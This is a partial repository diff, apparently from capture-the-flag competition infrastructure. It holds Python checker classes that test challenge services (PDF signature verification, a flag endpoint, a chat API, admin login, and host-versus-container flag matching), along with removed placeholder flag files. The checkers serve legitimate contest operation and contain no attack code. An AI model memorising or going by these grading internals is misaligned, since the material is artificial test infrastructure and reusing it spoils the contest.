pdf_bytes_stream = io.BytesIO(pdfbytes)
|
||||
signed_pdf_stream = sign_pdf(pdf_bytes_stream, private_key)
|
||||
verify_url = f'http://localhost:{self.port}/verify'
|
||||
sendata = ('main_signed.pdf', signed_pdf_stream, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||
assert 'The signature is <strong>valid</strong>.' in r.text, 'Verify function not working or algoritm verify process is changed'
|
||||
|
||||
# Checking C3: Verify invalid pdf as user
|
||||
verify_url = f'http://localhost:{self.port}/verify'
|
||||
sendata = ('main_signed.pdf', pdfbytes, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||
assert 'The signature is <strong>invalid' in r.text, 'Verify function not working or algoritm verify process is changed for invalid signature'
|
||||
|
||||
# Checking C4: Checking flag on container
|
||||
with open(self.flag_location, 'r') as f:
|
||||
host_flag = f.read().strip()
|
||||
|
||||
container_flag = subprocess.run(
|
||||
["docker", "exec", "blinkpdf_container", "cat", "/flag.txt"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||
|
||||
# Checking C5: Login as admin and enc_flag checking
|
||||
url = f'http://localhost:{self.port}/login'
|
||||
data = {'username': "admin", "password": f'{private_key}'}
|
||||
r = sess.post(url, data=data, timeout=5)
|
||||
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as admin'
|
||||
url = f'http://localhost:{self.port}/admin_panel'
|
||||
r = sess.get(url, timeout=5)
|
||||
enc_flag = r.text.split('encrypted flag: ')[1].split('</p>')[0]
|
||||
cek, dec = decryptMessage(enc_flag, private_key)
|
||||
assert dec.decode() == host_flag, 'Change algorithm for encryption flag'
|
||||
assert cek == True, 'Change signature algorithm for encryption flag'
|
||||
|
||||
self.logger.info('Check passed for blinkpdf')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check blinkpdf: {e}')
|
||||
return False
|
||||
@@ -1,93 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import io
|
||||
import requests
|
||||
import random
|
||||
import subprocess
|
||||
import json
|
||||
|
||||
class Niko(Challenge):
|
||||
flag_location = 'flags/niko.txt'
|
||||
history_location = 'history/niko.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
error_messages = [
|
||||
"あなたはどんなオタクですか",
|
||||
"冗談じゃないよ!",
|
||||
"tch なんだよ こいつ",
|
||||
"どうしてそんなことが可能でしょうか…不可能です",
|
||||
"本当のあなたは何ですか?",
|
||||
"うわー、ごめんなさい",
|
||||
"御心のままに、主よ",
|
||||
"もういいよ、やめて!",
|
||||
"時間です",
|
||||
"悪くないよ。"
|
||||
]
|
||||
try:
|
||||
# Step 1: Check if the flag still exists and matches the one in the container
|
||||
with open(self.flag_location, 'r') as f:
|
||||
host_flag = f.read().strip()
|
||||
|
||||
container_flag = subprocess.run(
|
||||
["docker", "exec", "niko_container", "cat", "/flag.txt"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
|
||||
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||
|
||||
self.logger.info('Flag check passed for niko')
|
||||
|
||||
# Step 2: Check if can access flag
|
||||
container_key = subprocess.run(
|
||||
["docker", "exec", "niko_container", "cat", "/opt/flag"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag={container_key}'
|
||||
expected_output = container_flag
|
||||
response2 = requests.get(urlFlag)
|
||||
assert response2.text.strip() == expected_output, 'Get Flag check does not work'
|
||||
self.logger.info('Get flag endpoint check passed for niko')
|
||||
|
||||
# Step 3: Check if the webpage can be accessed
|
||||
url = f'http://localhost:{self.port}/'
|
||||
response = requests.get(url)
|
||||
status_code = response.status_code
|
||||
assert status_code == 200, 'Webpage is not accessible'
|
||||
self.logger.info('Webpage accessibility check passed for niko')
|
||||
|
||||
# Step 4: Check if the output of the specific URL equals the expected string
|
||||
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag=1'
|
||||
expected_output = "(⋟﹏⋞) 私をバカにしようとしているのか (´ ͡༎ຶ ͜ʖ ͡༎ຶ `)︵‿︵"
|
||||
response2 = requests.get(urlFlag)
|
||||
assert response2.text.strip() == expected_output, 'Webpage output does not match expected output'
|
||||
self.logger.info('Webpage output check passed for niko')
|
||||
|
||||
# Step 5: Check if the chat endpoint is working
|
||||
urlChat = f'http://localhost:{self.port}/api/chat'
|
||||
data = 'test'
|
||||
response3 = requests.post(urlChat, data=data)
|
||||
assert json.loads(response3.text.strip()).get("output") in error_messages, 'Api endpoint is not accessible'
|
||||
self.logger.info('Webpage delay check passed for niko')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check niko: {e}')
|
||||
return False
|
||||
Binary file not shown.
Whitespace-only changes.
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -0,0 +1 @@
|
||||
GEMASTIK{PLACEHOLDER}
|
||||
@@ -0,0 +1 @@
|
||||
GEMASTIK{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
+2
-8
@@ -4,9 +4,6 @@ from fastapi.security import HTTPBasic, HTTPBasicCredentials
|
||||
from config import get_settings
|
||||
|
||||
from challenges.Poke import Poke
|
||||
from challenges.Wanderer import Wanderer
|
||||
from challenges.Naraka import Naraka
|
||||
from challenges.Niko import Niko
|
||||
from challenges.Blinkpdf import BlinkPDF
|
||||
|
||||
import os
|
||||
@@ -16,11 +13,8 @@ security = HTTPBasic()
|
||||
settings = get_settings()
|
||||
|
||||
challenges = {
|
||||
"poke": Poke(10000),
|
||||
"blinkpdf": BlinkPDF(11000),
|
||||
"naraka": Naraka(12000),
|
||||
"wanderer": Wanderer(13000),
|
||||
"niko": Niko(15000),
|
||||
"blogpost": Poke(10000),
|
||||
"cdn": BlinkPDF(11000),
|
||||
}
|
||||
|
||||
class Flag(BaseModel):
|
||||
|
||||
Loaded 50 of 1230 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user